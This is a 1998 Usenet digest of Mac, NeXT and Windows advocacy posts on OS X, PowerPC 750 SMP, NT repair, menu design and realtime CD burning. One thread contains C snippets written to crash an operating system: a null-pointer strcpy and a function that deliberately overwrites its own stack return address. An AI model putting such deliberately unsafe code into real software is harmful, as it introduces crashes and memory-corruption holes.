Christopher Browne <cbbrowne@news.hex.net> wrote in article
> The elimination of DPS in MacOS X makes it questionable just how
> interoperable the systems would be, which surely diminishes interest in
> GNUStep.
Actually, it should make it even easier. Without DPS, GnuStep just
needs to duplicate the function-based API. With DPS, GnuStep needs
to also provide a Postscript Interpreter, which is a hairy beast.
Date: Mon, 03 Aug 1998 21:27:44 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0308982127450001@elk127.dol.net>
References: <joe.ragosta-0308982001190001@elk108.dol.net> <B1EBAB08-13DF76@206.165.43.29>
In article <B1EBAB08-13DF76@206.165.43.29>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >IBM tested a 750 AIX server a year ago. What the heck does that have to do
> >with whether the G4s will be out early next year?
>
>
>
> But was it a 4-way SMP model. The orginal article suggested that this 4-way
> RS/6000 workstation was using the SOI technology, which is brand new.
Read the original post. This 4-way server was reportedly tested in May of 1997.
>
> Just as the 750's pushed the 604e's out of the market because it was faster
> than expected, perhaps the SOI-based 750's will crowd the low-end G4
> market, delaying the introduction of the hotter, more expensive G4 CPUs
> until they are clearly faster.
Which was exactly the point I made in another thread.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 4 Aug 1998 01:34:17 GMT
Organization: Steel Driving Software
Message-ID: <01bdbf48$1c6bf6b0$98b5dccf@samsara>
References: <joe.ragosta-0308982001190001@elk108.dol.net> <B1EBAB08-13DF76@206.165.43.29>
Lawson English <english@primenet.com> wrote in article
<B1EBAB08-13DF76@206.165.43.29>...
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >IBM tested a 750 AIX server a year ago. What the heck does that have to
do
> >with whether the G4s will be out early next year?
>
>
>
> But was it a 4-way SMP model. The orginal article suggested that this
4-way
> RS/6000 workstation was using the SOI technology, which is brand new.
No, the 4-way box was an in-lab experiment, not a production box.
I believe it's been working in their labs for a year or so, at least.
There's
a big difference between being able to do something, and being able to
use it in mass-production. It'd be rather embarrassing if they'd announced
it last year, then found out now that it couldn't work outside the lab.
> Just as the 750's pushed the 604e's out of the market because it was
faster
> than expected, perhaps the SOI-based 750's will crowd the low-end G4
> market, delaying the introduction of the hotter, more expensive G4 CPUs
> until they are clearly faster.
It's probably a safe bet that the G4 will get the same treatment. The
reason they used the 750 was simply because it was available a year ago,
and the G4 was not.
From: chris@nospam.com (chris black)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 3 Aug 1998 21:43:15 -0400
Organization: super8 productions
Message-ID: <MPG.1030313d46ba2859989687@news.interport.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <ckoller-0208982346530001@38.los-angeles-09.ca.dial-access.att.net> <macghod-0308981202310001@sdn-ar-001casbarp248.dialsprint.net> <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net> <id_est-0308982052240001@192.168.1.3>
In article <id_est-0308982052240001@192.168.1.3>, id_est@interport.net
says...
> In article <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net>,
> ckoller@worldnet.att.net (Craig Koller) wrote:
>
> > ...oh, and there's no Wintel Fudsters in this forum? Just a bunch of
> > "objective" people? If so, I'd love to hear a little more fair, objective
> > acknowledgements of where Wintel fails. Funny, we don't get much a'that
> > round these parts from the "objective" folk.
>
>
> OK, here's one. Today I restarted an NT box. I had wanted to test some RAM
> out in it. It ended up with the same RAM that it started out with. It
> went to the Blue Startup Screen and then announced that the OLE32.dll file
> may be corrupted, the header checksum didn't match the calculated one and
> it stopped. Nothing changed in the configuration (there is still only the
> orginal configuration listed), nothing was installed or removed. It was
> just restarted. Now it would be nice to know what exactly to do in a
> situation like this apart from reinstall Windows NT. Replacing the file
> with the orginal isn't possible as the machine can't even startup. The
> disks are formatted with NTFS so you can't just use a DOS disk as it
> doesn't recognize the disks. It can't boot of a CD or a ZIP. The NT
> "emergency" disk was damaged somehow as floppies somehow seem to be. So
> apart from reinstalling the whole damn thing what does one do in a
> situation like this.
Start an install. Type 'R' for repair, and insert your emergency repair
disk.
Chris.
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 4 Aug 1998 01:45:36 GMT
Organization: Steel Driving Software
Message-ID: <01bdbf49$b11df410$98b5dccf@samsara>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <ckoller-0208982346530001@38.los-angeles-09.ca.dial-access.att.net> <macghod-0308981202310001@sdn-ar-001casbarp248.dialsprint.net> <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net> <id_est-0308982052240001@192.168.1.3>
tse_di <id_est@interport.net> wrote in article
<id_est-0308982052240001@192.168.1.3>...
> OK, here's one. Today I restarted an NT box. I had wanted to test some
RAM
> out in it. It ended up with the same RAM that it started out with. It
> went to the Blue Startup Screen and then announced that the OLE32.dll
file
> may be corrupted, the header checksum didn't match the calculated one and
> it stopped. Nothing changed in the configuration (there is still only the
> orginal configuration listed), nothing was installed or removed. It was
> just restarted. Now it would be nice to know what exactly to do in a
> situation like this apart from reinstall Windows NT. Replacing the file
> with the orginal isn't possible as the machine can't even startup. The
> disks are formatted with NTFS so you can't just use a DOS disk as it
> doesn't recognize the disks. It can't boot of a CD or a ZIP. The NT
> "emergency" disk was damaged somehow as floppies somehow seem to be. So
> apart from reinstalling the whole damn thing what does one do in a
> situation like this.
You need to insert more tokens, so you get more lives.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 3 Aug 1998 18:33:26 -0500
Organization: Prairie Group
Message-ID: <MPG.103004c6972eb9c989a95@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net> <6q574r$5e9$1@plo.sierra.com>
In article <6q574r$5e9$1@plo.sierra.com>, earl.malmrose@nospam.sierra.com
says...
> Joe Ragosta wrote in message ...
> >In article <6psua5$dj9$1@plo.sierra.com>, "Earl Malmrose"
> ><earl.malmrose@nospam.sierra.com> wrote:
> >> And its much, much, much easier for a programmer to do something stupid
> and
> >> kill MacOS than it is to kill Windows.
> >
> >A statement for which you've NEVER provided one shred of evidence.
>
> Read my claim again. Ok, now a contest. I'll come up with a stupid thing for
> a programmer to do that will crash MacOS. You come up with one for, I'll be
> generous, Win95. Ready, go.
>
> strcpy((char *)0, "I win the contest, boy was that extremely easy to do.");
>
> I'll assume you can come up with something. Which looks simpler? Which is
> more likely to happen?
>
People who buy software written by stupid programmers deserve the
problems they get.
The probability that any shipping product will have
> strcpy((char *)0, "I win the contest, boy was that extremely easy to do.");
is zero.
Donald
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998080402204700.WAA22086@ladder03.news.aol.com>
Date: 4 Aug 1998 02:20:47 GMT
Organization: AOL http://www.aol.com
References: <andyba-ya02408000R0308981203180001@news>
Andy Bates said:
>With the current Mac menu system, if I want to make a menu
>selection, I can just whip the mouse up the the menu bar, click-release on
>any one of the menus, then worry about which menu I want to go to and which
>command I want to select. I do not have to worry about which items are
>submenus, simply because ALL of the top-level items are submenus. Now, if
>one of those items was a button instead, my quick click-release would
>invoke that button, instead of bringing up the submenu. Thus, I would have
>to be more careful in selecting the menu, which would slow down my
>selection speed.
Oh. I see. You like the Windows 95 like behaviour of click, activate the menu
system and then mouse about until one uncovers the menu item which one wishes
to activate and to then click _there_ to make it active.
When was this introduced exactly? There was a slightly more limited version of
this in Win 3.1 (similar to the activation of NeXT click-out menus), and then
it seemed to spring into existence full-grown in Win95.
In case you've not noticed Andy, there are a number of hacks/fixes/mods to
disable this functionality in Win95--I personally find it infuriating,
needlessly obscuring the screen when I decide I no longer want a menu.
Lessee, on the NeXT, one could either successively click on menus until one
found the one which one wanted--more easily understood and controllable than,
"How do I get these menus to stop flashing at me?!?" Or, some apps have a
command which allows one to force all menus to display long enough, I believe
to select one action at which point they all dissappear.
For what it's worth, one can click-drag through all of the menus if one
wishes--it'd be trivial to utilise three button pointing devices with the third
button used for click drag events.
Is the behaviour you describe a default in the Mac UI now, or an option? Can we
take a quick straw poll as to how many Mac users disable it? I'm leaving it as
an exercise for the reader to browse to a Win95 software site and determine how
many downloads there are for programs which disable this sticky menu feature.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998080402232200.WAA22534@ladder03.news.aol.com>
Date: 4 Aug 1998 02:23:22 GMT
Organization: AOL http://www.aol.com
References: <35C5E454.36ECA327@exu.ericsson.se>
MJP - Have you read _Tog on Software_?
There's a lengthy discussion in it on gestural interfaces and how different
hand motions could be used to specify different drag and drop actions.
I think that the Win95 right mouse button drag intimates some of the potential
of such capabilities, and would like to see it exploited more in a system with
three mouse buttons, or chording, or additional keyboard mods.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998080402284700.WAA23434@ladder03.news.aol.com>
Date: 4 Aug 1998 02:28:47 GMT
Organization: AOL http://www.aol.com
References: <andyba-ya02408000R0308981239370001@news>
Andy Bates said:
>By maintaining a good hierarchical structure, you can add an order more
>commands without significantly increasing the screen space required to hold
>those commands. However, by allowing top-level buttons, you are increasing
>the screen space by the same amount, for only one command. This seems
>inefficient, given that those items can be logically ordered into
>subgroups.
It's a trade-off. If those three commands are among the most frequently
utilised, there's a gain in efficiency, especially if the menu is arranged so
as to make the best use of available space and allow for a reasonable amount of
expansion and efficiency of space.
(MJP, lost your response on my previous statement about efficiency experts,
feel free to comment here).
I frequently am manipulating a large assortment of paperwork, paper, film and
negative images and cardboard boxes and scraps and plots as I work, and often
find it more efficient to use the mouse to make a selection than to clear off
or reach under the stack on top of the keyboard to do something on my
system--this sort of thing is easier to manage on my NeXT at home than the Mac
at work since I can arrange the menus on-screen to match my needs.
If neither of you need that flexibility, fine, but I've yet to see either of
you make a compelling statement which gainsays the appropriateness of Apple
providing such options.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Crashing various OS's (was: '97 Mac entrant feels shafted...)
Date: Mon, 03 Aug 1998 22:30:13 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35C6721A.16B1@bellatlantic.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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"Earl Malmrose" <earl.malmrose@nospam.sierra.com> wrote:
>
> Read my claim again. Ok, now a contest. I'll come up
> with a stupid thing for a programmer to do that will
> crash MacOS. You come up with one for, I'll be
> generous, Win95. Ready, go.
>
> strcpy((char *)0, "I win the contest, boy was that
> extremely easy to do.");
>
> I'll assume you can come up with something. Which looks
> simpler? Which is more likely to happen?
Bzzzt! Thank you for playing.
Actually, I just tried your code snippet on a PowerBook
1400cs, running MacOS 8.1, compiled under Metrowerks
CodeWarrior Pro. 3. When I ran the program all that
happened was that the program quit silently, MasOS
is still running happily (I even ran the program a
half dozen times to see if it might progressively
corrupt the system).
Does this code crash Win95? I don't know and haven't
tried it, as you obviously didn't try your own code
on MacOS. This is not to say that some other, equally
bone headed tactic, wouldn't crash MacOS, but your
example does not work.
I would try something that overwrites the last few
words of the stack in an attempt to corrupt the return
address of the called routine. This should cause serious
problems for most OS's, causing at a minimum, a core dump
of the running program. If the OS puts parts of the kernel
in the user program address space this could easily cause
a real lock up.
The code would look something like this:
int foo(int x, int y){
int i;
i=x;
while(i>=0) (&y)[i]=x+i;
return 0;
}
don't ask me what the code is SUPPOSED to be doing, I just
made it up, but it stands a good chance of overwriting the
return address for itself at least (which is all that will
count once it returns to the corrupt address). Admittedly,
my code LOOKs pretty hokey, but in a larger pice of code,
with a fair amount of pointer munging, it would be easy
to make such a mistake. I'll bet this works equally well
on both MacOS and Win95. Just call foo with some random
numbers and see what happens.
- Jeff Dutky
From: Jonathan Jacobs <jxj24@po.cwru.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 4 Aug 1998 00:40:23 GMT
Organization: Case Western Reserve University
Distribution: world
Message-ID: <6q5l9n$kr4$1@pale-rider.INS.CWRU.Edu>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q14vb$5kn$1@andros.cygnus.com> <joe.ragosta-0308981526240001@wil66.dol.net>
Mime-Version: 1.0
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Amazing amounts of tirade snipped...
How to respond?
<concerned irritation>
Um, Steve, do you have some sort of emotional problem with Apple? You
seem to feel the need to post these dense rampages all the time, and to
other than the appropriate newsgroups. Keep this crap in advocacy, where
it belongs.
</concerned irritation>
<sarcasm>
Please leave us to bask in our reality distortion field, since we seem to
really enjoy using a dead-end machine from an all-but-buried company.
It's very nice of you to be so concerned for our computing well-being,
but quite frankly, we are so brainwashed that we are incapable of
responding to your message-of-truth-with-a-flaming-sword.
</end sarcasm>
<ad hominem attack>
While I appreciate the comic relief your semi-informed postings can
provide at the end of a hard day, I would greatly appreciate it if you
would get a life.
(/ad hominem attack>
jon
Visit <http://www.evangelist.macaddict.com/>
----------------------------------------------------------
"Theory and practice are the same in theory, but different in practice."
Jonathan Jacobs Ocular Motility Lab
jxj24@po.cwru.edu VA Medical Center
Dept. of Biomedical Engineering 10701 East Blvd.
Wickenden Building Cleveland, OH 44106
Case Western Reserve University (216) 421-3224,
791-3800 x2500
"It has been claimed that a very large number of monkeys, armed with a
very large number of typewriters, would eventually reproduce the great
works of mankind. It would appear that the internet is well on its way
to proving _that_ wrong."
Date: Mon, 03 Aug 1998 21:21:17 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-0308982121170001@elk127.dol.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <ckoller-0208982346530001@38.los-angeles-09.ca.dial-access.att.net> <macghod-0308981202310001@sdn-ar-001casbarp248.dialsprint.net> <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net> <id_est-0308982052240001@192.168.1.3>
In article <id_est-0308982052240001@192.168.1.3>, id_est@interport.net
(tse_di) wrote:
> In article <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net>,
> ckoller@worldnet.att.net (Craig Koller) wrote:
>
> > ...oh, and there's no Wintel Fudsters in this forum? Just a bunch of
> > "objective" people? If so, I'd love to hear a little more fair, objective
> > acknowledgements of where Wintel fails. Funny, we don't get much a'that
> > round these parts from the "objective" folk.
>
>
> OK, here's one. Today I restarted an NT box. I had wanted to test some RAM
> out in it. It ended up with the same RAM that it started out with. It
> went to the Blue Startup Screen and then announced that the OLE32.dll file
> may be corrupted, the header checksum didn't match the calculated one and
> it stopped. Nothing changed in the configuration (there is still only the
> orginal configuration listed), nothing was installed or removed. It was
> just restarted. Now it would be nice to know what exactly to do in a
> situation like this apart from reinstall Windows NT. Replacing the file
> with the orginal isn't possible as the machine can't even startup. The
> disks are formatted with NTFS so you can't just use a DOS disk as it
> doesn't recognize the disks. It can't boot of a CD or a ZIP. The NT
> "emergency" disk was damaged somehow as floppies somehow seem to be. So
> apart from reinstalling the whole damn thing what does one do in a
> situation like this.
I'd try booting from the NT installation CD. One of the options is to
repair the installation. It works better if you have good repair floppies,
but it will still try to repair it without them.
There's no guarantee, but this might help.
Still, it would be better if you didn't need to resort to that.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.arch
Subject: Re: 4-way PPC 750
Followup-To: comp.sys.next.advocacy,comp.arch
Date: 4 Aug 1998 02:52:09 GMT
Organization: University of Illinois at Chicago
Message-ID: <6q5t0p$16im$1@piglet.cc.uic.edu>
References: <6q53ln$la2@newsb.netnews.att.com> <handleym-0308981800100001@handma.apple.com>
Maynard Handley (handleym@ricochet.net) wrote:
: In article <6q53ln$la2@newsb.netnews.att.com>,
: gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
: > IBM's Silicon-on-insulator (SOI) is interesting enough, but
: > something else caught my eye.
: >
: > http://www.eet.com/news/98/1020news/ibmtakes.html
: >
: > Quote :
: >
: > Ghavam Shahidi, SOI program manager at IBM said
: > many skeptics within the company became believers
: > on Feb 1, 1997 when a PowerPC 604e processor made
: > on SOI-type wafers was able to boot up a computer.
: > By May 1997, the company demonstrated a PowerPC 750
: > processor. Later a four-way server built around
: > four SOI-enhanced PowerPC 750s was able to run the
: > AIX operating system.
: >
: > End quote.
: >
: > I had thought that it was difficult to build a 2-way PPC 750
: > machine, and impossible to build more than that. This is the
: > impression I received from newsgroups, etc.
: You cannot build a super-efficient SMP 750 machine because of the lack of
: a shared MESI state. And to do so, you have to make changes to the OS to
: work around the fact that TLB and I-cache are not snooped. But these are
: different from saying it can't be done.
: Maynard
: --
: My opinion only
On the other hand, maybe the article is in error and they should
have said 4 way 604e.
From: "scott nichol" <scottnichol@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody on G3 300 with U/W PCI SCSI card
Date: Tue, 04 Aug 1998 00:10:15 -0400
Organization: EarthLink Network, Inc.
Message-ID: <6q61hf$pja$1@holly.prod.itd.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
hello all:
i recently purchased a G3 300 minitower and am quite pleased with it.
however, i have been having some interesting problems with the system's SCSI
and rhapsody in particular. the system was configured at apple with a PCI
U/W SCSI card. looking inside the box, it says it is an ATTO PCI Express.
a decent card, for a single channel configuration.
so first off, whenever i plug a SCSI device into the motherboard SCSI port,
the drive is never recognized and it sometimes doesn't boot as if there is
an unterminated device on the chain. any idea why this is? can i not use
the motherboard SCSI if the PCI SCSI is in use?
second of all, i cannot install rhapsody on this system. it gets through
the first round installation - copying the core OS to the disk. then, when
it automatically reboots, it tells me it cannot read from (or write to) the
PCI SCSI card.
it seems like i need to install rhapsody through the motherboard SCSI
because the installation notes state that i cannot use an U/W drive. so, if
i can't use the motherboard SCSI, how do i get rhapsody installed?
any hints or experiences installing in this environment would be helpful.
thanks,
scott
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 3 Aug 98 08:15:21
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug3081521@slave.doubleu.com>
References: <not-2307981300150001@ip-167-019.phx.primenet.com>
<Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu>
<not-2407981240410001@ip-26-162.phx.primenet.com>
<Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu>
<not-2407981816490001@ip-26-140.phx.primenet.com>
<Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu>
<not-2607981725340001@ip-26-178.phx.primenet.com>
<Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu>
<not-2707981327520001@ip-26-031.phx.primenet.com>
<Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu>
<01bdb9f3$8703da10$3643bacd@isdnjhendry> <6pvl66$5ms@news1.panix.com>
<joe.ragosta-0108982044400001@elk34.dol.net>
<6q1dir$kn7$1@nnrp1.dejanews.com>
In-reply-to: quinlan@intergate.bc.ca's message of Sun, 02 Aug 1998 10:04:12 GMT
In article <6q1dir$kn7$1@nnrp1.dejanews.com>,
quinlan@intergate.bc.ca writes:
In article <joe.ragosta-0108982044400001@elk34.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Most PCs don't have AGP. Only newer systems (< 1 year old) have
> AGP. MATROX IS SCREWING THEIR CUSTOMERS!!!!
>
> (at least if you hold them to the same standards that people are
> trying to hold Apple to).
Matrox doesn't make computers so how could not creating a card for
a specific interface system screw their customers?
Well, going beyond the saracasm... I have a Millenium, and a Millenium
II, and would currently have a G200 Millenium iff it came in a PCI
version and there were NS/OS/Rhapsody drivers for it. So I'd guess
I'm a customer, and if they never come out with a PCI version, I might
consider myself screwed. [I love those cards.]
And, as someone else mentioned, if I want more than one display, I
either have to purchase a more spendy (as yet unreleased) multi-port
AGP G200 card, or use older Matrox (or another vendor's) card. That
would somewhat suck, too.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 3 Aug 98 10:03:10
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug3100310@slave.doubleu.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net>
<6ot75m$16j$1@lwnws01.ne.highway1.com>
<Josh.McKee-1907981309250001@pm3a13.rmac.net>
<6ovhg8$qsp@newsb.netnews.att.com>
<Josh.McKee-2107981856040001@pm3a15.rmac.net>
<6p45f7$l73$1@nnrp1.dejanews.com>
<Josh.McKee-2307981802510001@pm3a8.rmac.net>
<6p9ami$olq$1@nnrp1.dejanews.com>
<Josh.McKee-2407981743100001@pm3a13.rmac.net>
<6pc9b1$8qd$1@nnrp1.dejanews.com>
<Josh.McKee-2507980855240001@pm3a23.rmac.net>
<6pd4o8$pn2$1@bunyip.cc.uq.edu.au>
<Josh.McKee-2607981000010001@pm3a6.rmac.net>
<6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com>
<6ppbmg$m1p$1@bunyip.cc.uq.edu.au>
<joe.ragosta-3007980854080001@wil34.dol.net>
<6pput9$vsd$1@bunyip.cc.uq.edu.au>
<joe.ragosta-3007981125390001@wil47.dol.net>
<6prd75$cp2$1@bunyip.cc.uq.edu.au> <6psqkp$ecf$2@news.spacelab.net>
<6pssmm$uqs$1@bunyip.cc.uq.edu.au>
In-reply-to: "Christopher Smith"'s message of Sat, 1 Aug 1998 02:51:26 +1000
In article <6pssmm$uqs$1@bunyip.cc.uq.edu.au>,
"Christopher Smith" <drsmithy@usa.net> writes:
Charles W. Swiger <chuck@codefab.com>,
wrote in message 6psqkp$ecf$2@news.spacelab.net...
>Burning CD's is a hard realtime task-- if you underrun the buffer,
>you get a coaster. By not allowing the system to context switch,
>this Mac CD-writing program is guaranteeing that it will
>successfully create a usable CD.
By rendering the rest of the system useless. My NT system
guarantees the CDR program the CPU time it needs as well - by
setting the priority high enough to pre-empt other programs.
"Setting task priority high" is not equivalent to "hard real time", as
any OS textbook will tell you. Setting the priority high simply makes
it more likely that when the CDR program needs the system to pay
attention, it will be paying attention. The resulting reduction in
coaster count is simply a probability thing - _not_ a guarantee.
A hard realtime system would allow the CDR program to specify the
parameters of the attention it needs from the OS. It wouldn't say
"Give me all the attention you can spare," it would say "I need 1000
cycles every 50 ms," or "I need to push 10kbytes out a certain port
every 50 ms." And then it would _get_ that attention.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: rr6013@yahoo.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net>
<35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se>
<6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com>
<35C5E454.36ECA327@exu.ericsson.se>
Message-ID: <Q_vx1.18322$7k7.15161830@news.rdc1.sdca.home.com>
Date: Tue, 04 Aug 1998 04:21:04 GMT
NNTP-Posting-Date: Mon, 03 Aug 1998 21:21:04 PDT
Organization: @Home Network
In <35C5E454.36ECA327@exu.ericsson.se> Michael Peck wrote:
> rr6013@yahoo.com wrote:
>
> > And indeed it most certainly does... Michael Peck from reading his posts
is
> > probably more keyboard centric while I know John Kheit is mouse centric.
I
> > used to be mouse centric until emacs expanded my envelope of productivity
at
> > the keyboard. Emacs "rules" lasted until I met John Kheit. NeXT
drag&drop
> > enhancements are second to none in productivity even against the most
ardent
> > emacs gurus.
>
> I'm actually more (left-hand-keyboard)-(right-hand-mouse)-centric. All
> of my windowing is done with commonly-defined raise/lower and
> focus-follows-mouse configurations. I have never seen anyone who can
> shuffle, resize, move, hide/unhide windows, or switch virtual desktops
> as quickly as I can. That's not to boast: the setup makes it easy. You
> may ask, if it's so easy, why doesn't everybody use it? I wonder the
> same thing myself.
>
> I agree in spirit; NeXT drag and drop is very good. But a better system
> would enable designating source and target window using the mouse,
> enabling the transaction with the keyboard. Dragging the mouse button
> sucks hard. If I could use a click to "pick up" an item, and then "drop"
> it with keyboard modifiers to designate copy/move/transform
> (context-specific) or even multiple drops, I'd consider it truly mature.
> As it is, I just can't cheer for a wonderful implementation of what is,
> to me, a crude and immature but promising concept (drag and drop).
>
>
This point is perceptive and one which I could strongly second. But to be
fair... your interface "style" was developed over time , learned across
mulitple OS'es and matured past the pedantic Mac interface and improved NeXT.
A "real" artist once explained why people actually like flourescent velvet
Elvis art. Everyone has to develop an appreciation for art. You gotta start
someplace...
That neither Apple nor NeXT ever extended their interface options is a
marketing deadman. I can even understand why it may be a conscious decision.
Your point remains... it is an immature hardware philosophy to build a
"computer for the rest of us" without regard to a future Corporate growth
path...
-r
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.bugs,comp.sys.next.hardware
Subject: cmsg cancel <xEwx1.4012$eK3.35120@198.235.216.4>
Control: cancel <xEwx1.4012$eK3.35120@198.235.216.4>
Date: 04 Aug 1998 05:06:12 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.xEwx1.4012$eK3.35120@198.235.216.4>
Sender: chrisavg@curukqqx.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
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From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Aug 1998 06:07:49 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q68fl$d4r$1@lwnws01.ne.highway1.com>
Donald Brown <don.brown@cesoft.com> wrote in message
<MPG.102e3ecc5608a225989a74@news.supernews.com>...
